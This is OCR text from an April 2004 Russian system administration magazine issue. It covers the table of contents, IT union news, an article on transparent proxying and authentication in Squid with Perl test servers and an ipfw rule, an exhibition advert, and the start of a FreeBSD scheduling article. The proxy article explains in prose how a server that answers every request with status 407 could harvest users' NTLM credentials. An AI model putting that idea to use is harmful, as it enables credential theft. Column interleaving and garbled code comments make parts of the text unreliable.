Вы находитесь на странице: 1из 98

№4(17) апрель 2004

подписной индекс 81655

Transparent proxy. Быть или не быть?


Работа по расписанию во FreeBSD
Свободные утилиты forensic
NTP – атомные часы на каждом столе
Создание кластера
на базе Windows 2000/2003
Watchdog
Блочные шифры
Оптимизация сортировки в Perl
Автоматизация веб-проектов
через электронную почту
№4(17) апрель 2004
cover4(17)-vnut.p65 1 01.04.2004, 14:52
оглавление

НОВОСТИ ПРОФСОЮЗА
Свободные утилиты forensic
Обзор утилит, предназначенных для поиска доказательств
Профсоюз IT-специалистов – взлома, а также применяемых для сохранения случайно
первые шаги или умышленно стертых данных.
2
Сергей Яремчук
АДМИНИСТРИРОВАНИЕ grinder@ua.fm 50

Transparent proxy. Быть или не быть? Блочные шифры


Статья посвящена проблемам прозрачного проксирова- Перспективы направления развития современной крип-
ния на примере популярного сервера Squid. тографии. Блок-схема и программная реализация симмет-
ричного алгоритма шифрования TEA.
Дмитрий Репин
cmapuk@comprice.ru 4 Станислав Гошко
bigafroelephant@mail.ru 64
Работа по расписанию во FreeBSD
ПРОГРАММИРОВАНИЕ
Сергей Супрунов
amsand@rambler.ru 10
Оптимизация сортировки в Perl
NTP – атомные часы на каждом столе Алексей Мичурин
Работа с протоколом NTP (Network Time Protoсol), пред- alexey@office-a.mtu-net.ru 70
назначенным для синхронизации времени в сети.

Михаил Платов WEB


platov@cs.vsu.ru 16
Автоматизация веб-проектов через
Создание кластера на базе электронную почту
Windows 2000/2003.
Шаг за шагом Игорь Тетерин
Руководство по созданию двухузлового кластера серве- keks_revda@uraltc.ru 76
ров с разделяемым хранилищем данных.

Геннадий Дмитриев
stranger03@mail.ru 22 ОБРАЗОВАНИЕ
В чем слабость твоя?
БЕЗОПАСНОСТЬ Альтернативы парольной защите.

Максим Костышин
Ошибки переполнения буфера Maxim_kostyshin@mail.ru 82
извне и изнутри как обобщенный опыт
реальных атак
Часть 2 HARDWARE
Крис Касперски
kk@sendmail.ru 30 Сторожевой пес
Тестирование устройства Watchdog, предназначенного
для мониторинга и восстановления работоспособности
Межсетевые экраны D-Link серверов после сбоя через принудительный перезапуск.

Михаил Гришунин Андрей Бешков


master@tayle.com 48 tigrisha@sysadmins.ru 88

№4(17), апрель 2004 1


новости профсоюза

ПРОФСОЮЗ IT-СПЕЦИАЛИСТОВ
ПЕРВЫЕ ШАГИ
Организованный в декабре 2003 года профсоюз IT-спе- готовлена программа повышения квалификации членов
циалистов, который объединил системных и сетевых ад- профсоюза. Юристы профсоюза уже не раз помогали на-
министраторов, IT-менеджеров, всех, кто работает в сфе- шим коллегам урегулировать различные спорные вопро-
ре информационных технологий, в данный момент актив- сы.
но развивается. Была проведена госрегистрация профсоюза (не обо-
Что такое профсоюз? Зачем он нужен? Что мы от него шлось без некоторых казусов и недоразумений). Сейчас
получим? Эти и другие вопросы очень часто поднимались отлаживается работа управленческого аппарата профсо-
на страницах различных печатных изданий, обсуждались юза, планируется инвестирование профсоюзных про-
в личной переписке и разговорах на форуме: http:// грамм.
www.sysadmins.ru. Представитель Московской ППО Алек- Несколько слов о работе первичных профсоюзных
сей Костромин так рассказал о задачах, которые ставит организаций: Московская ППО (http://msk.itcu.ru) работа-
перед собой профсоюз: ет над созданием портала www.sysjob.ru. Этот проект пред-
У работников IT-индустрии много проблем (о них мно- назначен для поиска работы IT-специалистами, профес-
го раз писали на форуме: http://www.sysadmins.ru), решить сиональных консультаций по вопросам Трудового законо-
их все сразу невозможно. Мы выделили наиболее акту- дательства, социальной защиты и т. п. Уже есть догово-
альные направления деятельности профсоюза на ближай- ренности с несколькими кадровыми агентствами города.
шие два года: Портал начнет свою работу в июле 2004 года.
! Поднять социальный статус IT-профессий в широком ППО Санкт-Петербурга (http://spb.itcu.ru) ведёт работу
смысле этого слова. с Санкт-Петербургским Государственным Политехничес-
! Организовать собственный учебный центр с целью со- ким Университетом, готовит проведение первых учебных
вершенствования квалификации членов профсоюза. семинаров в Петербурге, ведёт работу с Петербургскими
! Активно помогать в трудоустройстве, ориентации по кадровыми агентствами в рамках развития программы
карьере и переквалификации при необходимости. трудоустройства членов профсоюза.
! Оказывать максимально возможную юридическую под- Готовятся к регистрации ППО в Саратове, Сыктывка-
держку IT-специалистам. ре, Оренбурге. ППО может быть организована в любом
! Принимать активное участие в государственных соци- городе. Количество первичек в городе или регионе не ог-
альных программах с целью получения льгот для пред- раничено. При увеличении количества небольших ППО в
ставителей IT-профессий. городе Правление может предложить им объединиться,
! Работать над программой социального страхования создав территориальную (региональную) первичную орга-
работников IT. низацию. ППО регистрируется в качестве юридического
лица после рассмотрения ее документов Правлением
Сейчас уже заключены первые договора: с Межрегио- профсоюза (с перечнем документов можно ознакомиться
нальным Союзом Страховщиков – по программе социаль- на сайте: http://www.itcu.ru). Достаточно иметь трех чело-
ного страхования членов профсоюза; с юридической ком- век в одном городе, и вы уже имеете право создать ППО,
панией «ИТЛА» – по программе юридической поддержки которая может заниматься своими проектами, не проти-
членов профсоюза, регистрируются первичные профсо- воречащими целям Профсоюза в целом. Вы сможете зак-
юзные организации (ППО). Ведется работа по всем на- лючать договора с компаниями в вашем регионе для наи-
правлениям. лучшей реализации программ профсоюза.
Центральным аппаратом профсоюза (http://www.itcu.ru) Чтобы стать участником профсоюзного движения, до-
успешно проводится работа по привлечению крупных ком- статочно ознакомиться с материалами: http://www.itcu.ru,
паний к сотрудничеству по реализации профсоюзных про- заполнить форму заявления и отправить ее по адресу:
грамм. Совместно с рядом учебных центров и ВУЗов под- reg@itcu.ru. Далее с вами свяжутся.

2
администрирование

TRANSPARENT PROXY.
БЫТЬ ИЛИ НЕ БЫТЬ?

ДМИТРИЙ РЕПИН
Весь текст этой статьи является исключительно личным тельств» в ПО является наличие различных ошибок при
мнением автора и не претендует на сборник аксиом. Все разработке программного обеспечения.
описанные в статье исследования и выводы также следу- Данная статья посвящена проблемам прозрачного про-
ет рассматривать через призму субьективности автора, ксирования на примере популярного сервера Squid. В ка-
ибо, как говорили древние мудрецы, «Errare humanum est». честве ОС использовалась стабильная версия FreeBSD 4.7.
Также автор не несёт ответственности за любые действия
(и их последствия), произведённые читателем после про- Общие принципы прозрачного
чтения этой статьи. проксирования
При работе прокси-сервера в прозрачном режиме (Trans-
Лирическое отступление parent mode) для веб-доступа пользователей в Интернет
Работа системного администратора неразрывно связана не требуется настраивать браузер для взаимодействия с
с программированием. Только наличие знаний в области прокси на каждом рабочем месте, а сами пользователи
разработки программ может помочь при решении проблем могут вообще не знать о существовании прокси-сервера.
с программным обеспечением, ибо анализ является час- В таком режиме администраторы и техники получают
тью решения. Специалист обязан чётко представлять себе меньше вопросов и жалоб от пользователей по настрой-
внутренние механизмы работы системы, а это приходит ке пользовательского ПО.
только с опытом в написании и, что более важно, моди- Технически этот режим реализуется следующим обра-
фикации ПО. зом. С помощью firewall все соединения на определённый
Системы семейства UNIX-подобных являются величай- порт (в случае HTTP – порт 80) внешних серверов пере-
шим источником знаний для самообразования и полиго- направляются на локальный порт прокси-сервера (обыч-
ном для экспериментов. Открытость исходного кода сис- но – 3128).
темы и прикладного ПО, низкоуровневый доступ к на- По стандарту протокола HTTP 1.1 (RFC2616) каждый
стройкам и их гибкость... – всё это позволяет глубже вник- запрос клиента должен содержать заголовок «Host», в ко-
нуть в принципы работы компьютерных систем и сетей. тором указывается адрес сервера-получателя запроса.
Кроме того, это позволяет создавать всевозможные не- Именно с помощью этого заголовка прокси-сервер опре-
стандартные конфигурации привычного программного деляет адресата и соединяется с ним. Что же касается
обеспечения. Для чего это нужно? В первую очередь для других популярных протоколов (FTP, HTTPS, и т. д.), то
того, чтобы расширить возможности системы. Вторым такой возможности в них просто не предусмотрено. На
аргументом в пользу подобных «хирургических вмеша- этой «весёлой ноте» можно начать описание проблем.

4
администрирование
Авторизация last unless $_;
Авторизация на прокси-сервере позволяет производить $DATA.=$_."\n";
}
учёт работы и разграничение доступа в Интернет пользо-
вателей локальной сети, используя их имена (логины) # Çàïèñü çàïðîñà â ëîã-ôàéë
Log($DATA);
независимо от того, за каким компьютером находится
пользователь и какой адрес имеет данный компьютер. В # Òåïåðü ïðîñòàÿ ïðîâåðêà íà íàëè÷èå â çàïðîñå íóæíûõ
# çàãîëîâêîâ, îòïðàâêà ñîîòâåòñòâóþùåãî îòâåòà êëèåíòó
противном случае администратор имеет возможность кон- # è çàïèñü îòâåòîâ â ëîã-ôàéë.
тролировать работу сотрудников только на основе IP-ад- if($DATA !~/Proxy\-Authorization/){
Log(Response407());
ресов, что позволяет пользователям обходить ограниче- print CLIENT Response407();
ния. Таким образом, авторизация на прокси-сервере яв- }elsif($DATA !~/\012Authorization/){
Log(Response401());
ляется необходимым элементом инфраструктуры локаль- print CLIENT Response401();
ной сети. А теперь о грустном: авторизация на «прозрач- }else{
Log(Response200());
ном» прокси-сервере практически невозможна. Однако print CLIENT Response200();
подобное утверждение явно противоречит стандартам. }
print "Connection closed.\n";
Обратимся к первоисточнику – описанию протокола close CLIENT;
HTTP – документу RFC2616. По стандарту, HTTP-клиент # Çàêðûòèå òåêóùåãî ñîåäèíåíèÿ
}
при получении статуса-ответа сервера с кодом 407 (Proxy
Authentication Required) обязан отправить данные автори- # Çàêðûòèå ñîêåòà ñåðâåðà
close SERVER;
зации серверу. Для иллюстрации работы и для тестов ав-
тором был написан небольшой http-сервер на языке Perl, # Ñîñòàâëåíèå îòâåòîâ ñåðâåðà äëÿ óäîáñòâà âûíåñåíî
который выдавал нужные статусы и заголовки, а также # â îòäåëüíûå ôóíêöèè
писал лог запросов и ответов. sub Response401{
return "HTTP/1.1 401 Unauthorized$CR".
В результате работы сервера получение данных кли- "Server: squid/2.5.STABLE3$CR".
ентом будет происходить в 4 этапа: "Mime-Version: 1.0$CR".
"Content-Type: text/html$CR".
1. Клиент запрашивает документ, а сервер сообщает о "Content-Length: 20$CR".
необходимости Proxy-авторизации. "Expires: Wed, 26 Nov 2001 10:01:53 GMT$CR".
"WWW-Authenticate: Basic realm=\" --== Protected ↵
2. Клиент снова запрашивает документ, но уже с данны- web-Area ==--\"$CR".
ми авторизации на прокси. "Connection: close$CR$CR <h1>401 Unauth</h1>";
}
3. Для проверки работоспособности системы сервер про-
сит авторизоваться ещё и для Web – модель ситуации, sub Response407{
return "HTTP/1.1 407 Proxy Authentication Required$CR".
когда пользователь обращается к защищённому доку- "Server: squid/2.5.STABLE3$CR".
менту на удалённом сервере через прокси с авториза- "Mime-Version: 1.0$CR".
"Content-Type: text/html$CR".
цией. "Content-Length: 20$CR".
4. Клиент послушно авторизуется «вдвойне» – на прокси- "Expires: Wed, 26 Nov 2001 10:01:53 GMT$CR".
"Proxy-Authenticate: NTLM$CR".
сервере и веб-сервере. "Proxy-Authenticate: Basic realm=\" ↵
<-- 407 Protected Proxy-->\"$CR".
"Connection: close$CR$CR <h1>407 Unauth</h1>";
В качестве тестовых клиентов использовались бра- }
узеры Mozilla FireBird 0.6.1, Microsoft Internet Explorer sub Response200{
6.0.2800.1106 и Opera 6.05. return "HTTP/1.1 200 OK$CR".
Код тестового сервера: "Server: squid/2.5.STABLE3$CR".
"Mime-Version: 1.0$CR".
"Content-Type: text/html$CR".
#!/usr/bin/perl -w "Content-Length: 19$CR".
use strict; "Expires: Wed, 26 Nov 2001 10:01:53 GMT$CR".
use Socket; "Connection: close$CR$CR <h1>200 OK!!!</h1>";
}
# Ñîçäà¸òñÿ ñîêåò, ïðèâÿçûâàåòñÿ êî âñåì àäðåñàì (äëÿ óäîáñòâà)
# íà ïîðò 8080 è âêëþ÷àåòñÿ ïðîñëóøèâàíèå.
socket(SERVER,PF_INET,SOCK_STREAM,getprotobyname('tcp')); # Ôóíêöèÿ îïðåäåëåíèÿ àäðåñà, ïîðòà è èìåíè õîñòà êëèåíòà
setsockopt(SERVER,SOL_SOCKET,SO_REUSEADDR,1); sub remote{
bind(SERVER,sockaddr_in(8080,INADDR_ANY)); my $rem = shift;
listen(SERVER,SOMAXCONN); return undef unless $rem;
my ($port,$ip) = sockaddr_in($rem);
$|=1; return (inet_ntoa($ip),$port,gethostbyaddr($ip,AF_INET));
my $CR="\015\012"; }

# Ïðè¸ì âõîäÿùèõ ñîåäèíåíèé # Ôóíêöèÿ äëÿ çàïèñè â ôàéë ïðîòîêîëà


while (1){ sub Log{
# Ïðè¸ì êëèåíòà, îïðåäåëåíèå åãî àäðåñ/ïîðò/õîñò open(F,">>connection.log");
# è âûâîä íà ýêðàí (äëÿ îòëàäêè) print F scalar(localtime)."\n";
my $paddr = accept(CLIENT,SERVER); for(split/\n/,$_[0]){
my ($ip,$port,$name) = remote($paddr); print F "\t$_\n";
print "Connection from $ip:$port ($name)\n"; }
print F "\n//====//\n\n";
# ×òåíèå âñåãî çàïðîñà îò êëèåíòà â îäíó ïåðåìåííóþ close(F);
my $DATA; }
while(<CLIENT>){
chomp;
$_=~s/\r//g; Первый запрос браузера:

№4(17), апрель 2004 5


администрирование
Участок исходного кода client_side.c:

if (answer == ACCESS_REQ_PROXY_AUTH || ↵
aclIsProxyAuth(AclMatchedName)) {
if (!http->flags.accel) {
Сервер отвечает: /* Proxy authorisation needed */
status = HTTP_PROXY_AUTHENTICATION_REQUIRED;
} else {
/* WWW authorisation needed */
status = HTTP_UNAUTHORIZED;
}
if (page_id == ERR_NONE)
page_id = ERR_CACHE_ACCESS_DENIED;
} else {
Теперь клиент авторизуется: status = HTTP_FORBIDDEN;
if (page_id == ERR_NONE)
page_id = ERR_ACCESS_DENIED;
}

Подобная странность, обнаруженная в ходе исследо-


Для проверки последующей авторизации на удалён- вания, ещё больше разогрела интерес автора к обсужда-
ном веб-сервере прокси-сервер просит авторизоваться: емому вопросу.
В связи с этим, естественно, исходный код сервера
претерпел изменения. Результатом явилась модифициро-
ванная версия сервера Squid с совместной работой авто-
ризации и прозрачного режима. Но...
В ходе дальнейшего исследования выяснилось, что по-
пулярнейший браузер Microsoft Internet Explorer неспосо-
Клиент отвечает правильно – с авторизацией и на про- бен следовать стандартам! Если в настройках этого кли-
кси- и на веб-сервере: ента явно не указано использование прокси-сервера, то
MSIE просто игнорирует обработку http-статуса 407 и вы-
даёт ошибку. Мало того, старые версии под Windows 9X
вообще «сыпятся» с критической ошибкой в библиотеке
WININET.DLL при получении вышеописанного статус-кода.
Сервер сообщает, что всё в порядке: В связи с этим становится ясно, что использование
авторизации при прозрачном проксировании невозмож-
но. Ведь подавляющее большинство пользователей ра-
ботают именно с Microsoft Internet Explorer. Если в вашей
сети используются браузеры только на основе Mozilla, вы
можете модифицировать ваш сервер Squid-2.5.STABLE3
Данный протокол на примере Mozilla FireBird 0.6.1 иллю- с помощью патчей, которые находятся по адресу http://
стрирует вполне «законную» возможность использования ав- www.comprice.ru/cmapuk/squid_patch.tgz
торизации на прозрачном прокси-сервере. Возникает резон- В дополнение к вышесказанному стоит добавить, что
ный вопрос: почему в FAQ сервера Squid наличествует фра- все нынешние браузеры, так или иначе, не полностью со-
за «...proxy_auth can’t be used in a transparent proxy...»? блюдают стандарты. Например, HTTP-статус 305 (Use
Для начала обратимся к исходным кодам Squid. Связь Proxy), сообщающий клиенту о необходимости использо-
между авторизацией и режимом работы сервера просле- вать указанный в ответе прокси-сервер, игнорируется как
живается в двух файлах – acl.c и client_side.c. При анали- браузером Microsoft Internet Explorer, так и Mozilla FireBird
зе кода становится ясно, что возможность использования и Opera. Кроме того, браузер Opera (проверено на версии
авторизации в данном случае просто игнорируется! 6.05) не поддерживает NTLM-авторизацию, хотя статус-
Участок исходного кода acl.c: код 407 обрабатывает правильно и легко авторизуется по
типу Basic.
http_hdr_type headertype; Итак, в действительном существовании проблемы и
if (NULL == r) {
return -1; практической невозможности её решения теперь сомне-
} else if (!r->flags.accelerated) { ний нет. Однако остаётся неизвестной «политическая»
/* Proxy authorization on proxy requests */
headertype = HDR_PROXY_AUTHORIZATION; подоплёка несоблюдения стандартов. После некоторых
} else if (r->flags.internal) { размышлений на эту тему автор статьи вывел гипотезу о
/* WWW authorization on accelerated internal requests */
headertype = HDR_AUTHORIZATION; причине «нестандартности» MSIE как HTTP-клиента.
} else { Если абсолютно стандартный браузер при получении
#if AUTH_ON_ACCELERATION
/* WWW authorization on accelerated requests */ ответа сервера с кодом 407 отправляет данные для авто-
headertype = HDR_AUTHORIZATION; ризации, то эта информация может быть получена любым
#else
debug(28, 1) ("aclAuthenticated: authentication not ↵ третьим лицом. На примере это выглядит следующим об-
applicable on accelerated requests.\n"); разом. Пользователь-злоумышленник настраивает веб-
return -1;
#endif сервер (внешний, либо в локальной сети) на ответ выше-

6
администрирование
означенным кодом при любых запросах (это может быть Современные версии прокси-сервера Squid поддержи-
элементарный «самописный» сервер в 10-15 строк). Пос- вают возможность определения хоста и порта с помощью
ле этого путём простейших приёмов социальной инжене- библиотек пакетных фильтров, таких как ipfilter в BSD-си-
рии пользователь-жертва заманивается в ловушку с це- стемах или netfilter в Linux. Для работы с этими библиоте-
лью получить всего лишь один HTTP-сеанс между жерт- ками при компиляции сервера необходимо указать соот-
вой и сервером злоумышленника. В результате «хакер» ветствующие опции (--enable-ipf-transparent). После сбор-
получает данные авторизации пользователя (например, ки сервера, ему будет доступна подробная информация о
данные NTLM-авторизации), что может повлечь за собой соединении.
несанкционированный доступ к информации со всеми вы- Участок кода client_side.c:
текающими последствиями.
Принимая во внимание эту гипотезу, можно сделать #if IPF_TRANSPARENT
natLookup.nl_inport = http->conn->me.sin_port;
вывод, что игнорирование таких нужных и в то же время natLookup.nl_outport = http->conn->peer.sin_port;
опасных стандартных возможностей имеет под собой до- natLookup.nl_inip = http->conn->me.sin_addr;
natLookup.nl_outip = http->conn->peer.sin_addr;
вольно веские основания.
Как может показаться, при таком подходе встаёт не-
Множество протоколов обходимость использовать на firewall фильтрацию на ос-
Как правило, в задачу прокси-сервера входит обслужива- нове ipfilter/ipnat и отказаться от ipfw. Однако для работы
ние клиентов не только по протоколу HTTP, но и FTP и Squid достаточно просто включить поддержку данного па-
HTTPS. Кроме того, часто возникает необходимость HTTP- кетного фильтра, а перенаправлять пакеты можно по-пре-
соединения по альтернативным портам (8000, 8080, и т. п.). жнему с помощью ipfw.
С этим связана вторая и, пожалуй, самая сложная про-
блема прозрачного проксирования – прокси-сервер Squid Проксирование FTP и HTTPS
в режиме прозрачности может обслуживать соединения При обычном проксировании запросы клиента прокси-сер-
только по одному протоколу – HTTP. веру на получение файла с удалённого сервера по прото-
В связи с тем, что решение данной проблемы являет- колу FTP выглядят так же, как и HTTP-запросы:
ся отнюдь не тривиальным, эта часть статьи будет посвя-
щена рассмотрению причин данной проблемы и только GET ftp://ftp.server.info HTTP/1.1
Host: ftp.server.info
теоретических способов её решения.
Клиентом, реализующим этот протокол FTP, в данном
Альтернативные HTTP-порты случае является сам прокси-сервер. Получив файл, про-
Как уже было сказано в начале статьи, спецификация кси-сервер отвечает клиенту обычным HTTP-ответом и
протокола HTTP 1.1 предписывает клиенту включать в возвращает данные.
запрос обязательный заголовок «Host». Этот заголовок Также клиент может «потребовать» от прокси-сервера
содержит имя сервера, которому адресован запрос. Та- прямого соединения с удалённым хостом для обмена дан-
ким образом, для получения данных по адресу http:// ными. Тогда запрос будет выглядеть так:
www.server.info при прямом соединении минимальным
HTTP-запросом будет следующий: CONNECT ftp.server.info:21 HTTP/1.1
Host: ftp.server.info
GET / HTTP/1.1 Благодаря такому виду запросов посредник чётко по-
Host: www.server.info
нимает поставленную перед ним задачу и выполняет её в
Если клиентское ПО адаптировано для работы через соответствии с рекомендациями системного администра-
прокси-сервер и настроено соответственно, то запрос бу- тора в виде директив acl и http_access в конфигурацион-
дет выглядеть так: ном файле.
Общение клиента с удалённым сервером по SSL-за-
GET http://www.server.info HTTP/1.1 щищённым протоколам всегда происходит по методу
Host: www.server.info
CONNECT:
В случае если удалённый сервер обслуживает клиен-
тов по альтернативному порту, запрос через прокси будет CONNECT secure.server.info:443 HTTP/1.1
Host: secure.server.info
содержать информацию и об этом:
При прямом соединении клиента с удалённым хостом
GET http://www.server.info:8080 HTTP/1.1 без посредников (а при прозрачном проксировании кли-
Host: www.server.info
ент «считает» именно так) он сам реализует протоколы
При прямом соединении с удалённым сервером зап- прикладного уровня, такие как FTP и HTTP. В результа-
рос клиента не меняется в зависимости от порта и оста- те прокси-сервер не может определить поставленную
ётся таким же, как в первом примере. В результате при перед ним задачу. При перенаправлении с помощью
работе в прозрачном режиме прокси-сервер не может оп- firewall всех соединений к портам 21 и 443 на порт про-
ределить реальный порт удалённого сервера, к которому кси (3128) последний получает в первом случае строку
обратился клиент, так как клиент вообще не подозревает «USER username», а во втором вообще набор несвязных
о существовании «посредника». символов.

№4(17), апрель 2004 7


администрирование
Решение данной проблемы требует «хирургического» Теперь открываем браузер и пробуем зайти на ftp://
вмешательства в исходный код прокси-сервера Squid. ftp.freebsd.org/ (естественно, без прокси-настроек). Резуль-
Задача модификации сервера состоит в том, чтобы «на- тат простейшего теста показывает, что прозрачное про-
учить» сервер становиться почти таким же посредником, ксирование по протоколам, отличным от HTTP, вполне воз-
как при методе CONNECT, в зависимости от номера пор- можно. Теперь поставим уже конкретную задачу по моди-
та запрашиваемого удалённого сервера. фикации прокси-сервера Squid.
Для демонстрации этой идеи напишем ещё один про- 1. Добавить в возможности конфигурирования сервера
стейший сервер: новую директиву (назовём её direct_port) следующего
формата:
#!/usr/bin/perl -w
use strict; direct_port PORT PROTOCOL
use Socket;
# Ëîêàëüíûé àäðåñ ìèíè-ïðîêñè
my $maddr = sockaddr_in(30021,inet_aton('localhost')); где PORT – конечный порт удалённого сервера;
PROTOCOL – протокол, по которому прокси-серверу
# Äîïóñòèì ìû óæå çíàåì àäðåñ óäàë¸ííîãî FTP
my $paddr = sockaddr_in(21,inet_aton('ftp.freebsd.org')); следует выступать посредником. Пример:

direct_port 21 FTP, direct_port 443 SSL


# Îòêðûâàåì ñîêåò äëÿ ïðîêñè-ñåðâåðà è íà÷èíàåì ïðîñëóøèâàòü
socket(SOCK,PF_INET,SOCK_STREAM,getprotobyname('tcp')) or die $!;
setsockopt(SOCK,SOL_SOCKET,SO_REUSEADDR,1) or die $!;
bind(SOCK,$maddr) or die $!; 2. Добавить к уже имеющейся «услуге» посредничества
listen(SOCK,SOMAXCONN); при методе CONNECT её модифицированную версию,
# Ïåðåõâàòûâàåì ñèãíàë PIPE в которой исключены вмешательства прокси-сервера
# Ýòîò ñèãíàë ïîÿâëÿåòñÿ ïðè ïîïûòêå ðàáîòû ñ çàêðûòûì ïîòîêîì в общение клиента и удалённого сервера лишними за-
$SIG{PIPE}=sub{
close(SERVER); головками.
close(CLIENT); 3. Установить контроль над новым типом соединения с
close(SOCK);
exit; помощью директив ACL.
}

$|=1; # îòêëþ÷àåì áóôåðèçàöèþ ïîòîêà STDOUT Решение этой задачи для исследователя, никогда не
участвовавшего в разработке прокси-сервера Squid, явля-
# Ïðèíèìàåì ïîäêëþ÷åíèÿ
while (accept(CLIENT,SOCK)){ ется весьма трудоёмким процессом. Посему у автора дан-
ной статьи на данный момент нет готового решения в виде
print "Connection detect.\n";
патчей и т. п. Однако, возможно, это исследование привле-
# Ñîåäèíÿåìñÿ ñ óäàë¸ííûì FTP чёт внимание энтузиастов (или самих разработчиков Squid)
socket(SERVER,PF_INET,SOCK_STREAM, ↵
getprotobyname('tcp')) or die $!; к вышеописанной проблеме и решение появится.
connect(SERVER,$paddr);
# Íà÷èíàåì îáìåí èíôîðìàöèåé
while(1){ Вывод
my $server=''; Исследование показало, что настоящее прозрачное прокси-
# Îòêëþ÷àåì áóôåðèçàöèþ ïîòîêîâ êëèåíòà
# è ñåðâåðà рование без ущерба для пользователей и администраторов –
select(CLIENT); $|=1; это реальность. Единственной серьёзной проблемой на пути
select(SERVER); $|=1;
select(STDOUT); к внедрению технологии прозрачного проксирования оста-
# Ïîêà ñåðâåð íå çàâåðøèë ïåðåäà÷ó ётся несоответствие стандартам браузера Microsoft Internet
# èäåíòèôèêàòîðîì ñòàòóñà ïðèíèìàåì âñå
# äàííûå, îòäà¸ì êëèåíòó, à çàîäíî âûâîäèì Explorer. Вполне возможно, что в будущем этот недостаток
# íà ýêðàí у MSIE исчезнет, если обратить внимание специалистов из
while($server !~/^\d{3}\s/){
$server=<SERVER>; Microsoft на данную проблему. В настоящий момент, а точ-
print CLIENT $server; нее, после того, как прокси-сервер Squid будет модифици-
print $server;
} рован, любая организация, в чьи корпоративные стандар-
# Ïðèíèìàåì êîìàíäó îò êëèåíòà è ïåðåäà¸ì ты не входит использование браузера MSIE, смогут полно-
# ñåðâåðó. Òàêæå âûâîäèì íà ýêðàí
my $client=<CLIENT>; ценно пользоваться прозрачным проксированием.
print SERVER $client; Ещё одна проблема, оставшаяся в тени, заключается в
print $client;
} том, что прокси-сервер может определить адрес удалённо-
close SERVER; го сервера, но не его имя. В связи с этим может возникнуть
close CLIENT;
} проблема с доступом по FTP и HTTPS на сервера с вирту-
close SOCK; альными доменами, которые часто используются на бес-
платных хостингах (и не только).
Добавляем в firewall правило перенаправления всех В заключение хотелось бы сказать хоть одну фразу от
запросов к 21-му порту на локальный порт 30021 и запус- первого лица. Я надеюсь, что проделанная работа не оста-
каем тестовый сервер. вит равнодушной общественность свободных разработчи-
ков к несовершенствам прикладного программного обес-
ipfw add 30002 fwd 127.0.0.1,30021 tcp from 192.168.0.0/24 ↵ печения и подтолкнёт любителей и профессионалов к но-
to any 21 via xl0
вым исследованиям.

8
УНИКАЛЬНЫЕ СОБЫТИЯ
НА КОМПЬЮТЕРНОМ РЫНКЕ
Впервые организованная в 1989 году, выставка Неделя 4. Software Expo – специализированная выставка, ори-
Информационных Технологий «IT Week Russia», изве- ентированная на программные продукты для систем
стная в прошлом как Comtek, за пятнадцать лет своего бухгалтерского и складского учета, комплексного ПО
существования пережила и взлеты и падения. В преды- управления предприятием, систем управления доку-
дущие годы в Неделю Информационных Технологий вхо- ментооборотом, систем распознавания документов,
дила выставка Сomtek, которая состояла из нескольких разработку ПО, защиту информации. В рамках этой
направлений, и конференция E-Business. Развитие выс- выставки будет подготовлен цикл тематических семи-
тавки в течение последних лет привело к необходимос- наров, посвященных актуальным вопросам в области
ти выделить отдельные разделы в самостоятельные вы- разработки экономических программ и систем управ-
ставки. С этого года в Неделю Информационных Техно- ления бизнесом.
логий будут входить пять самостоятельных выставок и 5. Специализированная выставка CAD/CAM/CAE пред-
две конференции. Этот шаг позволил расширить масш- ставляет системы автоматизированного проектиро-
таб выставки, объединяющей все аспекты компьютер- вания. Для большинства российских производителей
ного бизнеса, что, в свою очередь, дает возможность необходимость использования САПР для оптимиза-
привлечь к участию в выставке большее число компа- ции работы предприятия стала очевидной. Особенно
ний, занятых во всех сферах индустрии информацион- ярко это проявляется в таких отраслях, как авиастро-
ных технологий. ение, автомобилестроение, тяжелое машиностроение,
Давид Патеишвили, директор выставки, сказал: «В архитектура, строительство, нефтегазовая промыш-
этом году мы расширили темы, представленные на экс- ленность.
позиции, которые теперь охватывают все области компь- 6. eLearn Expo – специализированная выставка, на ко-
ютерной индустрии. Это дает превосходную возможность торой будут демонстрироваться новейшие продукты
и участникам, и посетителям выставки принять участие и и технологии в сфере электронного обучения, пред-
ознакомиться сразу с пятью выставками и двумя конфе- назначенные для коллективного и индивидуального
ренциями, проходящими в одно время и в одном месте. пользования. Дистанционное обучение через сети
Это также позволит нам улучшить маркетинговую и рек- Internet и Intranet, получившее широкое распростра-
ламную кампании для каждой из выставок и конферен- нение в развитых странах, становится все более ак-
ций, проходящих в рамках Недели Информационных Тех- туальным и для России.
нологий, с учетом целевой аудитории, специфичной для 7. eBusiness Russia (Электронный бизнес в России) –
каждой из них. Хочется добавить, что некоторые выстав- международная конференция, посвященная вопросам
ки, которые будут проходить в рамках Недели Информа- автоматизации бизнес-процессов, развития электрон-
ционных технологий, не имеют аналогов в России, явля- ной коммерции, подбора ИТ-персонала.
ясь тем самым уникальными».
В рамках Недели Информационных Технологий прой- Выставка IT-week остается ведущей международной
дут следующие выставки и конференции: выставкой информационных технологий в России и стра-
1. Personal Computing Expo – общая, неспециализиро- нах СНГ. Это уникальное место для проведения перего-
ванная выставка, ориентированная на конечных воров с первыми лицами сразу нескольких крупных фирм-
пользователей. В ней представлены производители и поставщиков оборудования и решений. Практически все
дистрибьюторы персональных компьютеров и перифе- крупные западные вендоры присутствуют на выставке не-
рии, компьютерных игр, дистрибьюторы сотовой тех- посредственно или при посредстве своих российских парт-
ники и портативных компьютеров, интернет- и контент- неров.
провайдеры и многие другие. В соответствии с растущими потребностями рынка и
2. Hardware & Peripherals Expo – специализированная увеличением числа участников экспозиция расширила
выставка, на которой представлены: компьютеры, мо- площадь, которая в этом году составит 8 000 кв. м. В выс-
ниторы, периферийные устройства, комплектующие, тавках, которые пройдут в течение 4 дней, примут учас-
накопители, коммуникационное оборудование и услу- тие 250 ведущих компаний отрасли из 25 стран мира.
ги, т.е. весь спектр hardware, ориентированного на ве- Ожидается, что число посетителей выставки превысит
дение бизнеса. 75 000 человек, включая руководителей верхнего и сред-
3. Международная конференция eLearning Russia (Инфор- него звена, технических специалистов и IT-администра-
мационные технологии в образовании), на которой бу- торов, из более 500 городов России и СНГ.
дут освещены последние достижения образовательных «IT Week 2004», 15-ая Международная Выставка Ин-
технологий в школах, вузах, а также рассмотрены воп- формационных Технологий пройдет в «Экспоцентре» на
росы дистанционного и бизнес-образования. Красной Пресне в Москве с 26 по 29 апреля 2004 года.

№4(17), апрель 2004 9


администрирование

РАБОТА ПО РАСПИСАНИЮ
ВО FreeBSD

СЕРГЕЙ СУПРУНОВ
10
администрирование
Прежде всего рассмотрим утилиту, которая позволяет од- at.allow. Если файл at.allow в этой директории отсутству-
